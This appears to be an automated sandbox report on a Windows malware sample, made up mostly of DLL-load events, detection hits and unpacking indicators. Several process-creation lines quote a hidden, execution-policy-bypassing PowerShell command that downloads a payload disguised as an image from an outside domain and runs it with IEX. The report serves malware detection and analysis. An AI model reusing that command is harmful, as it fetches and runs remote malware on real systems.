Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: schannel.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2033951833.000002E7E3060000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb00100010007d1fa57c4aed9f0a32e84aa0faefd0de9e8fd6aec8f87fb03766c834c99921eb23be79ad9d5dcc1dd9ad236132102900b723cf980957fc4e177108fc607774f29e8320e92ea05ece4e821c0a5efe8f1645c4c0c93c1ab99285d622caa652c1dfad63d745d6f2de5f17e5eaf0fc4 source: powershell.exe, 00000004.00000002.2033951833.000002E7E3060000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbE source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 19.2.powershell.exe.25703985aa8.4.raw.unpack, c599d343cac5014aad62aae883c42172b.cs	.Net Code: c14bb2c7302fd95407b5e64edfbc46414 System.Reflection.Assembly.Load(byte[])
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, xrossUpUgDCJrcSEI.cs	.Net Code: nOoZahaniTFF System.AppDomain.Load(byte[])
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, xrossUpUgDCJrcSEI.cs	.Net Code: nOoZahaniTFF System.AppDomain.Load(byte[])
Source: 19.2.powershell.exe.2576eee0000.8.raw.unpack, c599d343cac5014aad62aae883c42172b.cs	.Net Code: c14bb2c7302fd95407b5e64edfbc46414 System.Reflection.Assembly.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($base64EncodedData)$ms = New-Object System.IO.MemoryStream$ms.Write($compressedData, 0, $compressedData.Length)$ms.Position = 0$gzip = New-Object System.IO.Compression.GZipStream $ms,

PowerShell case anomaly found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"			Jump to behavior

Yara detected MSILLoadEncryptedAssembly

Source: Yara match	File source: 00000004.00000002.2026750928.000002E7E3053000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1865192800.000002E7C8CF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1865192800.000002E7C8C60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2018457002.000002E7E2CD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1867257966.000002E7C8E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1868647268.000002E7CA7B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1868900966.000002E7CB886000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2216, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B1663E1 push ebx; iretd	4_2_00007FFB4B16642A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B166435 push ebx; iretd	4_2_00007FFB4B16642A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B177969 push ebx; retf	4_2_00007FFB4B17796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFB4B162321 push eax; iretd	19_2_00007FFB4B16233D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFB4B1655CB push esi; iretd	19_2_00007FFB4B1655D7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFB4B1619BA pushad ; ret	19_2_00007FFB4B1619C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFB4B230569 push ebx; retf	19_2_00007FFB4B23056A

Source: 19.2.powershell.exe.25702485170.7.raw.unpack, BGdjDDpgXZdI.cs	High entropy of concatenated method names: 'VvznAZMSelWH', 'rZtkoDGEuzAf', 'NqXffOYeALLeoVmZl', 'cqhTNJjvrwLmZ', 'XAUzuNIIifMSBkBnA', 'aqMTzLLmknnK', 'opHXlstebrMYzK', 'vTYYhyfeTSN', 'QsBrxZsssig', 'OlbygUKhPPgbra'
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, TUsMcMDxLo.cs	High entropy of concatenated method names: 'CqnoGKqodh', 'SdYLFIZlxIrMD', 'NPukkKbqHQkAA', 'kQvJJnzylSR', 'dkNHbIsXjTEa', 'DqFabvntiuwcPmpJt', 'NoVTeUWwRrrordIQ', 'deTFpRPLpi', 'FcaBKFLMUTtkJ', 'xZLyKkTQEHR'
